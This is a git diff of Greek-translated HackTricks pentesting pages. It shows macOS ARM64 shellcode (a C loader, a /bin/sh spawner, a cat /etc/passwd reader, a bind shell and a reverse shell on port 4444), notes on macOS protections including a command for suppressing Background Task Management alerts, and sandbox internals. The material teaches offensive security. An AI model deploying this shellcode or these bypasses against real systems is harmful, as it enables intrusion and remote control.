||||
|
@ -367,7 +442,7 @@ done
|
|||
```
|
||||
<details>
|
||||
|
||||
<summary>Κώδικας C για να δοκιμάσετε το shellcode</summary>
|
||||
<summary>Κώδικας C για δοκιμή του shellcode</summary>
|
||||
```c
|
||||
// code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/loader.c
|
||||
// gcc loader.c -o loader
|
||||
|
@ -417,7 +492,7 @@ return 0;
|
|||
|
||||
#### Shell
|
||||
|
||||
Προέρχεται από [**εδώ**](https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/shell.s) και εξηγείται.
|
||||
Ληφθέν από [**εδώ**](https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/shell.s) και εξηγημένο.
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="με adr" %}
|
||||
|
@ -468,7 +543,7 @@ svc #0x1337 ; Make the syscall. The number 0x1337 doesn't actually matter,
|
|||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="με adr για Linux" %}
|
||||
{% tab title="με adr για linux" %}
|
||||
```armasm
|
||||
; From https://8ksec.io/arm64-reversing-and-exploitation-part-5-writing-shellcode-8ksec-blogs/
|
||||
.section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment.
|
||||
|
@ -487,9 +562,9 @@ sh_path: .asciz "/bin/sh"
|
|||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
#### Διάβασμα με την εντολή cat
|
||||
#### Διαβάστε με cat
|
||||
|
||||
Ο στόχος είναι να εκτελεστεί η εντολή `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)`, οπότε το δεύτερο όρισμα (x1) είναι ένας πίνακας παραμέτρων (ο οποίος στη μνήμη αντιστοιχεί σε ένα σωρό με τις διευθύνσεις).
|
||||
Ο στόχος είναι να εκτελέσετε `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)`, έτσι ώστε το δεύτερο επιχείρημα (x1) να είναι ένα πίνακας παραμέτρων (που στη μνήμη σημαίνει μια στοίβα διευθύνσεων).
|
||||
```armasm
|
||||
.section __TEXT,__text ; Begin a new section of type __TEXT and name __text
|
||||
.global _main ; Declare a global symbol _main
|
||||
|
@ -515,7 +590,7 @@ cat_path: .asciz "/bin/cat"
|
|||
.align 2
|
||||
passwd_path: .asciz "/etc/passwd"
|
||||
```
|
||||
#### Καλέστε την εντολή με το sh από ένα fork ώστε η κύρια διεργασία να μην τερματιστεί
|
||||
#### Καλέστε την εντολή με sh από ένα fork ώστε η κύρια διαδικασία να μην τερματιστεί
|
||||
```armasm
|
||||
.section __TEXT,__text ; Begin a new section of type __TEXT and name __text
|
||||
.global _main ; Declare a global symbol _main
|
||||
|
@ -561,7 +636,7 @@ touch_command: .asciz "touch /tmp/lalala"
|
|||
```
|
||||
#### Bind shell
|
||||
|
||||
Δέστε το shell από [https://raw.githubusercontent.com/daem0nc0re/macOS\_ARM64\_Shellcode/master/bindshell.s](https://raw.githubusercontent.com/daem0nc0re/macOS\_ARM64\_Shellcode/master/bindshell.s) στη **θύρα 4444**
|
||||
Bind shell από [https://raw.githubusercontent.com/daem0nc0re/macOS\_ARM64\_Shellcode/master/bindshell.s](https://raw.githubusercontent.com/daem0nc0re/macOS\_ARM64\_Shellcode/master/bindshell.s) σε **θύρα 4444**
|
||||
```armasm
|
||||
.section __TEXT,__text
|
||||
.global _main
|
||||
|
@ -643,7 +718,7 @@ mov x2, xzr
|
|||
mov x16, #59
|
||||
svc #0x1337
|
||||
```
|
||||
#### Αντίστροφο κέλυφος
|
||||
#### Reverse shell
|
||||
|
||||
Από [https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/reverseshell.s](https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/reverseshell.s), revshell σε **127.0.0.1:4444**
|
||||
```armasm
|
||||
|
@ -713,16 +788,16 @@ mov x16, #59
|
|||
svc #0x1337
|
||||
```
|
||||
{% hint style="success" %}
|
||||
Μάθετε & εξασκηθείτε στο Hacking του AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Μάθετε & εξασκηθείτε στο Hacking του GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Υποστηρίξτε το HackTricks</summary>
|
||||
<summary>Υποστήριξη HackTricks</summary>
|
||||
|
||||
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
|
||||
* **Εγγραφείτε** 💬 [**στην ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Μοιραστείτε hacking tricks υποβάλλοντας PRs** στα αποθετήρια [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,8 +1,8 @@
|
|||
# macOS Security Protections
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -27,6 +27,10 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
## Processes Limitants
|
||||
|
||||
### MACF
|
||||
|
||||
|
||||
|
||||
### SIP - System Integrity Protection
|
||||
|
||||
{% content-ref url="macos-sip.md" %}
|
||||
|
@ -43,7 +47,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
### TCC - **Transparency, Consent, and Control**
|
||||
|
||||
**TCC (Transparency, Consent, and Control)** είναι ένα πλαίσιο ασφαλείας. Είναι σχεδιασμένο για να **διαχειρίζεται τις άδειες** των εφαρμογών, ρυθμίζοντας συγκεκριμένα την πρόσβασή τους σε ευαίσθητες δυνατότητες. Αυτό περιλαμβάνει στοιχεία όπως **υπηρεσίες τοποθεσίας, επαφές, φωτογραφίες, μικρόφωνο, κάμερα, προσβασιμότητα και πλήρη πρόσβαση δίσκου**. Το TCC διασφαλίζει ότι οι εφαρμογές μπορούν να έχουν πρόσβαση σε αυτές τις δυνατότητες μόνο μετά την απόκτηση ρητής συγκατάθεσης του χρήστη, ενισχύοντας έτσι την ιδιωτικότητα και τον έλεγχο των προσωπικών δεδομένων.
|
||||
**TCC (Transparency, Consent, and Control)** είναι ένα πλαίσιο ασφαλείας. Είναι σχεδιασμένο για να **διαχειρίζεται τις άδειες** των εφαρμογών, ρυθμίζοντας συγκεκριμένα την πρόσβασή τους σε ευαίσθητες δυνατότητες. Αυτό περιλαμβάνει στοιχεία όπως **υπηρεσίες τοποθεσίας, επαφές, φωτογραφίες, μικρόφωνο, κάμερα, προσβασιμότητα και πλήρη πρόσβαση στο δίσκο**. Το TCC διασφαλίζει ότι οι εφαρμογές μπορούν να έχουν πρόσβαση σε αυτές τις δυνατότητες μόνο μετά από ρητή συγκατάθεση του χρήστη, ενισχύοντας έτσι την ιδιωτικότητα και τον έλεγχο των προσωπικών δεδομένων.
|
||||
|
||||
{% content-ref url="macos-tcc/" %}
|
||||
[macos-tcc](macos-tcc/)
|
||||
|
@ -51,7 +55,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
### Launch/Environment Constraints & Trust Cache
|
||||
|
||||
Οι περιορισμοί εκκίνησης στο macOS είναι μια λειτουργία ασφαλείας για να **ρυθμίζουν την εκκίνηση διαδικασιών** καθορίζοντας **ποιος μπορεί να εκκινήσει** μια διαδικασία, **πώς** και **από πού**. Εισήχθη στο macOS Ventura, κατηγοριοποιούν τα συστήματα δυαδικών σε κατηγορίες περιορισμών εντός ενός **trust cache**. Κάθε εκτελέσιμο δυαδικό έχει καθορισμένους **κανόνες** για την **εκκίνηση** του, συμπεριλαμβανομένων των **self**, **parent** και **responsible** περιορισμών. Επεκτάθηκε σε εφαρμογές τρίτων ως **Environment** Constraints στο macOS Sonoma, αυτές οι δυνατότητες βοηθούν στη μείωση πιθανών εκμεταλλεύσεων του συστήματος ρυθμίζοντας τις συνθήκες εκκίνησης διαδικασιών.
|
||||
Οι περιορισμοί εκκίνησης στο macOS είναι μια λειτουργία ασφαλείας για να **ρυθμίζουν την εκκίνηση διαδικασιών** καθορίζοντας **ποιος μπορεί να εκκινήσει** μια διαδικασία, **πώς** και **από πού**. Εισήχθη στο macOS Ventura, κατηγοριοποιούν τα συστήματα δυαδικών αρχείων σε κατηγορίες περιορισμών εντός ενός **trust cache**. Κάθε εκτελέσιμο δυαδικό αρχείο έχει καθορισμένους **κανόνες** για την **εκκίνηση** του, συμπεριλαμβανομένων των **self**, **parent** και **responsible** περιορισμών. Επεκτάθηκε σε εφαρμογές τρίτων ως **Environment** Constraints στο macOS Sonoma, αυτές οι δυνατότητες βοηθούν στη μείωση πιθανών εκμεταλλεύσεων του συστήματος ρυθμίζοντας τις συνθήκες εκκίνησης διαδικασιών.
|
||||
|
||||
{% content-ref url="macos-launch-environment-constraints.md" %}
|
||||
[macos-launch-environment-constraints.md](macos-launch-environment-constraints.md)
|
||||
|
@ -59,20 +63,20 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
## MRT - Malware Removal Tool
|
||||
|
||||
Το Malware Removal Tool (MRT) είναι άλλο ένα μέρος της υποδομής ασφαλείας του macOS. Όπως υποδηλώνει το όνομα, η κύρια λειτουργία του MRT είναι να **αφαιρεί γνωστό κακόβουλο λογισμικό από μολυσμένα συστήματα**.
|
||||
Το Malware Removal Tool (MRT) είναι ένα άλλο μέρος της υποδομής ασφαλείας του macOS. Όπως υποδηλώνει το όνομα, η κύρια λειτουργία του MRT είναι να **αφαιρεί γνωστό κακόβουλο λογισμικό από μολυσμένα συστήματα**.
|
||||
|
||||
Μόλις ανιχνευθεί κακόβουλο λογισμικό σε ένα Mac (είτε από το XProtect είτε με κάποιο άλλο μέσο), το MRT μπορεί να χρησιμοποιηθεί για να **αφαιρέσει αυτόματα το κακόβουλο λογισμικό**. Το MRT λειτουργεί σιωπηλά στο παρασκήνιο και συνήθως εκτελείται κάθε φορά που το σύστημα ενημερώνεται ή όταν κατεβαίνει μια νέα ορισμός κακόβουλου λογισμικού (φαίνεται ότι οι κανόνες που έχει το MRT για την ανίχνευση κακόβουλου λογισμικού είναι μέσα στο δυαδικό).
|
||||
Μόλις ανιχνευθεί κακόβουλο λογισμικό σε ένα Mac (είτε από το XProtect είτε με κάποιο άλλο μέσο), το MRT μπορεί να χρησιμοποιηθεί για να **αφαιρέσει αυτόματα το κακόβουλο λογισμικό**. Το MRT λειτουργεί σιωπηλά στο παρασκήνιο και συνήθως εκτελείται κάθε φορά που το σύστημα ενημερώνεται ή όταν κατεβαίνει μια νέα ορισμός κακόβουλου λογισμικού (φαίνεται ότι οι κανόνες που έχει το MRT για την ανίχνευση κακόβουλου λογισμικού είναι μέσα στο δυαδικό αρχείο).
|
||||
|
||||
Ενώ τόσο το XProtect όσο και το MRT είναι μέρος των μέτρων ασφαλείας του macOS, εκτελούν διαφορετικές λειτουργίες:
|
||||
|
||||
* **XProtect** είναι ένα προληπτικό εργαλείο. **Ελέγχει τα αρχεία καθώς κατεβαίνουν** (μέσω ορισμένων εφαρμογών), και αν ανιχνεύσει οποιουσδήποτε γνωστούς τύπους κακόβουλου λογισμικού, **αποτρέπει το άνοιγμα του αρχείου**, αποτρέποντας έτσι το κακόβουλο λογισμικό από το να μολύνει το σύστημά σας εξαρχής.
|
||||
* **XProtect** είναι ένα προληπτικό εργαλείο. **Ελέγχει τα αρχεία καθώς κατεβαίνουν** (μέσω ορισμένων εφαρμογών), και αν ανιχνεύσει οποιοδήποτε γνωστό τύπο κακόβουλου λογισμικού, **αποτρέπει το άνοιγμα του αρχείου**, αποτρέποντας έτσι το κακόβουλο λογισμικό από το να μολύνει το σύστημα σας εξαρχής.
|
||||
* **MRT**, από την άλλη πλευρά, είναι ένα **αντιδραστικό εργαλείο**. Λειτουργεί αφού ανιχνευθεί κακόβουλο λογισμικό σε ένα σύστημα, με στόχο την αφαίρεση του ενοχλητικού λογισμικού για να καθαρίσει το σύστημα.
|
||||
|
||||
Η εφαρμογή MRT βρίσκεται στο **`/Library/Apple/System/Library/CoreServices/MRT.app`**
|
||||
|
||||
## Background Tasks Management
|
||||
|
||||
**macOS** τώρα **ειδοποιεί** κάθε φορά που ένα εργαλείο χρησιμοποιεί μια γνωστή **τεχνική για την επιμονή εκτέλεσης κώδικα** (όπως τα Login Items, Daemons...), έτσι ώστε ο χρήστης να γνωρίζει καλύτερα **ποιο λογισμικό επιμένει**.
|
||||
**macOS** τώρα **ειδοποιεί** κάθε φορά που ένα εργαλείο χρησιμοποιεί μια γνωστή **τεχνική για την επιμονή εκτέλεσης κώδικα** (όπως τα Login Items, Daemons...), ώστε ο χρήστης να γνωρίζει καλύτερα **ποιο λογισμικό επιμένει**.
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1183).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -103,7 +107,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
# The tool will always ask for the users password
|
||||
sfltool dumpbtm
|
||||
```
|
||||
Επιπλέον, είναι επίσης δυνατό να καταχωρηθεί αυτή η πληροφορία με το [**DumpBTM**](https://github.com/objective-see/DumpBTM).
|
||||
Επιπλέον, είναι επίσης δυνατό να καταχωρήσετε αυτές τις πληροφορίες με το [**DumpBTM**](https://github.com/objective-see/DumpBTM).
|
||||
```bash
|
||||
# You need to grant the Terminal Full Disk Access for this to work
|
||||
chmod +x dumpBTM
|
||||
|
@ -114,7 +118,7 @@ xattr -rc dumpBTM # Remove quarantine attr
|
|||
|
||||
### Ανακατεύοντας με το BTM
|
||||
|
||||
Όταν βρεθεί μια νέα επιμονή, δημιουργείται ένα γεγονός τύπου **`ES_EVENT_TYPE_NOTIFY_BTM_LAUNCH_ITEM_ADD`**. Έτσι, οποιοσδήποτε τρόπος για να **αποτραπεί** αυτή η **εκδήλωση** από το να σταλεί ή ο **πράκτορας από το να ειδοποιήσει** τον χρήστη θα βοηθήσει έναν επιτιθέμενο να _**παρακάμψει**_ το BTM.
|
||||
Όταν βρεθεί μια νέα επιμονή, δημιουργείται ένα γεγονός τύπου **`ES_EVENT_TYPE_NOTIFY_BTM_LAUNCH_ITEM_ADD`**. Έτσι, οποιοσδήποτε τρόπος για να **αποτραπεί** αυτή η **εκδήλωση** από το να σταλεί ή η **υπηρεσία από το να ειδοποιήσει** τον χρήστη θα βοηθήσει έναν επιτιθέμενο να _**παρακάμψει**_ το BTM.
|
||||
|
||||
* **Επαναφορά της βάσης δεδομένων**: Η εκτέλεση της παρακάτω εντολής θα επαναφέρει τη βάση δεδομένων (θα πρέπει να την ξαναχτίσει από την αρχή), ωστόσο, για κάποιο λόγο, μετά την εκτέλεση αυτού, **καμία νέα επιμονή δεν θα ειδοποιηθεί μέχρι να επανεκκινήσει το σύστημα**.
|
||||
* Απαιτείται **root**.
|
||||
|
@ -142,9 +146,10 @@ T
|
|||
* [https://youtu.be/9hjUmT031tc?t=26481](https://youtu.be/9hjUmT031tc?t=26481)
|
||||
* [https://www.patreon.com/posts/new-developer-77420730?l=fr](https://www.patreon.com/posts/new-developer-77420730?l=fr)
|
||||
* [https://support.apple.com/en-gb/guide/deployment/depdca572563/web](https://support.apple.com/en-gb/guide/deployment/depdca572563/web)
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -156,4 +161,3 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
|
|
|
@ -17,7 +17,7 @@ Learn & practice GCP Hacking: <img src="../../../../.gitbook/assets/grte.png" al
|
|||
|
||||
## Basic Information
|
||||
|
||||
Το MacOS Sandbox (αρχικά ονομαζόταν Seatbelt) **περιορίζει τις εφαρμογές** που εκτελούνται μέσα στο sandbox στις **επιτρεπόμενες ενέργειες που καθορίζονται στο προφίλ Sandbox** με το οποίο εκτελείται η εφαρμογή. Αυτό βοηθά να διασφαλιστεί ότι **η εφαρμογή θα έχει πρόσβαση μόνο σε αναμενόμενους πόρους**.
|
||||
Το macOS Sandbox (αρχικά ονομαζόταν Seatbelt) **περιορίζει τις εφαρμογές** που εκτελούνται μέσα στο sandbox στις **επιτρεπόμενες ενέργειες που καθορίζονται στο προφίλ Sandbox** με το οποίο εκτελείται η εφαρμογή. Αυτό βοηθά να διασφαλιστεί ότι **η εφαρμογή θα έχει πρόσβαση μόνο σε αναμενόμενους πόρους**.
|
||||
|
||||
Οποιαδήποτε εφαρμογή με την **παροχή** **`com.apple.security.app-sandbox`** θα εκτελείται μέσα στο sandbox. **Οι δυαδικοί κωδικοί της Apple** εκτελούνται συνήθως μέσα σε ένα Sandbox, και όλες οι εφαρμογές από το **App Store έχουν αυτή την παροχή**. Έτσι, πολλές εφαρμογές θα εκτελούνται μέσα στο sandbox.
|
||||
|
||||
|
@ -70,7 +70,7 @@ drwx------ 2 username staff 64 Mar 24 18:02 tmp
|
|||
Σημειώστε ότι ακόμη και αν τα symlinks είναι εκεί για να "διαφύγουν" από το Sandbox και να αποκτήσουν πρόσβαση σε άλλους φακέλους, η εφαρμογή πρέπει να **έχει άδειες** για να τους προσπελάσει. Αυτές οι άδειες βρίσκονται μέσα στο **`.plist`** στο `RedirectablePaths`.
|
||||
{% endhint %}
|
||||
|
||||
Τα **`SandboxProfileData`** είναι τα συμπιεσμένα δεδομένα προφίλ sandbox CFData που έχουν διαφύγει σε B64.
|
||||
Το **`SandboxProfileData`** είναι το συμπιεσμένο προφίλ sandbox CFData που έχει διαφύγει σε B64.
|
||||
```bash
|
||||
# Get container config
|
||||
## You need FDA to access the file, not even just root can read it
|
||||
|
@ -123,9 +123,9 @@ AAAhAboBAAAAAAgAAABZAO4B5AHjBMkEQAUPBSsGPwsgASABHgEgASABHwEf...
|
|||
Ό,τι δημιουργείται/τροποποιείται από μια εφαρμογή που είναι σε Sandbox θα αποκτήσει το **attribute καραντίνας**. Αυτό θα αποτρέψει έναν χώρο sandbox ενεργοποιώντας τον Gatekeeper αν η εφαρμογή sandbox προσπαθήσει να εκτελέσει κάτι με **`open`**.
|
||||
{% endhint %}
|
||||
|
||||
## Sandbox Profiles
|
||||
## Sandbox Προφίλ
|
||||
|
||||
Τα Sandbox profiles είναι αρχεία ρύθμισης που υποδεικνύουν τι θα είναι **επιτρεπτό/απαγορευμένο** σε αυτό το **Sandbox**. Χρησιμοποιεί τη **Γλώσσα Προφίλ Sandbox (SBPL)**, η οποία χρησιμοποιεί τη γλώσσα προγραμματισμού [**Scheme**](https://en.wikipedia.org/wiki/Scheme\_\(programming\_language\)).
|
||||
Τα Sandbox προφίλ είναι αρχεία ρύθμισης που υποδεικνύουν τι θα είναι **επιτρεπτό/απαγορευμένο** σε αυτό το **Sandbox**. Χρησιμοποιεί τη **Γλώσσα Προφίλ Sandbox (SBPL)**, η οποία χρησιμοποιεί τη γλώσσα προγραμματισμού [**Scheme**](https://en.wikipedia.org/wiki/Scheme\_\(programming\_language\)).
|
||||
|
||||
Εδώ μπορείτε να βρείτε ένα παράδειγμα:
|
||||
```scheme
|
||||
|
@ -148,7 +148,7 @@ AAAhAboBAAAAAAgAAABZAO4B5AHjBMkEQAUPBSsGPwsgASABHgEgASABHwEf...
|
|||
{% hint style="success" %}
|
||||
Δείτε αυτήν την [**έρευνα**](https://reverse.put.as/2011/09/14/apple-sandbox-guide-v1-0/) **για να ελέγξετε περισσότερες ενέργειες που θα μπορούσαν να επιτραπούν ή να απορριφθούν.**
|
||||
|
||||
Σημειώστε ότι στην συμπιεσμένη έκδοση ενός προφίλ, το όνομα των λειτουργιών αντικαθίσταται από τις καταχωρήσεις τους σε έναν πίνακα που είναι γνωστός από το dylib και το kext, καθιστώντας την συμπιεσμένη έκδοση πιο σύντομη και πιο δύσκολη στην ανάγνωση.
|
||||
Σημειώστε ότι στην συμπιεσμένη έκδοση ενός προφίλ, το όνομα των λειτουργιών αντικαθίσταται από τις καταχωρίσεις τους σε έναν πίνακα που είναι γνωστός από το dylib και το kext, καθιστώντας την συμπιεσμένη έκδοση πιο σύντομη και πιο δύσκολη στην ανάγνωση.
|
||||
{% endhint %}
|
||||
|
||||
Σημαντικές **υπηρεσίες συστήματος** εκτελούνται επίσης μέσα στο δικό τους προσαρμοσμένο **sandbox**, όπως η υπηρεσία `mdnsresponder`. Μπορείτε να δείτε αυτά τα προσαρμοσμένα **προφίλ sandbox** μέσα σε:
|
||||
|
@ -224,7 +224,7 @@ log show --style syslog --predicate 'eventMessage contains[c] "sandbox"' --last
|
|||
Παραδείγματα παρακάμψεων:
|
||||
|
||||
* [https://lapcatsoftware.com/articles/sandbox-escape.html](https://lapcatsoftware.com/articles/sandbox-escape.html)
|
||||
* [https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c](https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c) (μπορούν να γράψουν αρχεία εκτός της απομόνωσης των οποίων το όνομα ξεκινά με `~$`).
|
||||
* [https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c](https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c) (μπορούν να γράφουν αρχεία εκτός της απομόνωσης των οποίων το όνομα ξεκινά με `~$`).
|
||||
|
||||
### Ιχνηλάτηση Απομόνωσης
|
||||
|
||||
|
@ -310,7 +310,7 @@ In `/tmp/trace.out` θα μπορείτε να δείτε κάθε έλεγχο
|
|||
|
||||
Οι επεκτάσεις αποθηκεύονται στη δεύτερη υποδοχή ετικέτας MACF που είναι προσβάσιμη από τα διαπιστευτήρια της διαδικασίας. Το ακόλουθο **`sbtool`** μπορεί να έχει πρόσβαση σε αυτές τις πληροφορίες.
|
||||
|
||||
Σημειώστε ότι οι επεκτάσεις συνήθως χορηγούνται από επιτρεπόμενες διαδικασίες, για παράδειγμα, το `tccd` θα χορηγήσει το token επέκτασης του `com.apple.tcc.kTCCServicePhotos` όταν μια διαδικασία προσπαθήσει να έχει πρόσβαση στις φωτογραφίες και επιτρεπόταν σε ένα μήνυμα XPC. Στη συνέχεια, η διαδικασία θα χρειαστεί να καταναλώσει το token επέκτασης ώστε να προστεθεί σε αυτήν.\
|
||||
Σημειώστε ότι οι επεκτάσεις συνήθως χορηγούνται από επιτρεπόμενες διαδικασίες, για παράδειγμα, το `tccd` θα χορηγήσει το token επέκτασης του `com.apple.tcc.kTCCServicePhotos` όταν μια διαδικασία προσπαθήσει να έχει πρόσβαση στις φωτογραφίες και επιτραπεί σε ένα μήνυμα XPC. Στη συνέχεια, η διαδικασία θα χρειαστεί να καταναλώσει το token επέκτασης ώστε να προστεθεί σε αυτήν.\
|
||||
Σημειώστε ότι τα tokens επεκτάσεων είναι μακροχρόνια δεκαεξαδικά που κωδικοποιούν τις χορηγούμενες άδειες. Ωστόσο, δεν έχουν τον επιτρεπόμενο PID σκληρά κωδικοποιημένο, πράγμα που σημαίνει ότι οποιαδήποτε διαδικασία με πρόσβαση στο token μπορεί να **καταναλωθεί από πολλές διαδικασίες**.
|
||||
|
||||
Σημειώστε ότι οι επεκτάσεις σχετίζονται πολύ και με τις εξουσιοδοτήσεις, οπότε η κατοχή ορισμένων εξουσιοδοτήσεων μπορεί αυτόματα να χορηγήσει ορισμένες επεκτάσεις.
|
||||
|
@ -350,15 +350,15 @@ sbtool <pid> all
|
|||
* **extension\_issue (#5)**: Δημιουργήστε μια νέα επέκταση για μια διαδικασία.
|
||||
* **extension\_consume (#6)**: Καταναλώστε μια δεδομένη επέκταση.
|
||||
* **extension\_release (#7)**: Απελευθερώστε τη μνήμη που σχετίζεται με μια καταναλωθείσα επέκταση.
|
||||
* **extension\_update\_file (#8)**: Τροποποιήστε παραμέτρους μιας υπάρχουσας επέκτασης αρχείου εντός του sandbox.
|
||||
* **extension\_update\_file (#8)**: Τροποποιήστε τις παραμέτρους μιας υπάρχουσας επέκτασης αρχείου εντός του sandbox.
|
||||
* **extension\_twiddle (#9)**: Ρυθμίστε ή τροποποιήστε μια υπάρχουσα επέκταση αρχείου (π.χ., TextEdit, rtf, rtfd).
|
||||
* **suspend (#10)**: Αναστείλετε προσωρινά όλους τους ελέγχους sandbox (απαιτεί κατάλληλα δικαιώματα).
|
||||
* **unsuspend (#11)**: Επαναλάβετε όλους τους προηγουμένως ανασταλμένους ελέγχους sandbox.
|
||||
* **unsuspend (#11)**: Επαναφέρετε όλους τους προηγουμένως ανασταλμένους ελέγχους sandbox.
|
||||
* **passthrough\_access (#12)**: Επιτρέψτε άμεση πρόσβαση passthrough σε μια πηγή, παρακάμπτοντας τους ελέγχους sandbox.
|
||||
* **set\_container\_path (#13)**: (μόνο iOS) Ορίστε μια διαδρομή container για μια ομάδα εφαρμογών ή ID υπογραφής.
|
||||
* **container\_map (#14)**: (μόνο iOS) Ανακτήστε μια διαδρομή container από το `containermanagerd`.
|
||||
* **sandbox\_user\_state\_item\_buffer\_send (#15)**: (iOS 10+) Ορίστε μεταδεδομένα λειτουργίας χρήστη στο sandbox.
|
||||
* **inspect (#16)**: Παρέχετε πληροφορίες αποσφαλμάτωσης σχετικά με μια διαδικασία που είναι sandboxed.
|
||||
* **inspect (#16)**: Παρέχετε πληροφορίες αποσφαλμάτωσης σχετικά με μια διαδικασία sandboxed.
|
||||
* **dump (#18)**: (macOS 11) Εκτυπώστε το τρέχον προφίλ ενός sandbox για ανάλυση.
|
||||
* **vtrace (#19)**: Ιχνηλατήστε τις λειτουργίες sandbox για παρακολούθηση ή αποσφαλμάτωση.
|
||||
* **builtin\_profile\_deactivate (#20)**: (macOS < 11) Απενεργοποιήστε τα ονομασμένα προφίλ (π.χ., `pe_i_can_has_debugger`).
|
||||
|
@ -383,19 +383,19 @@ sbtool <pid> all
|
|||
|
||||
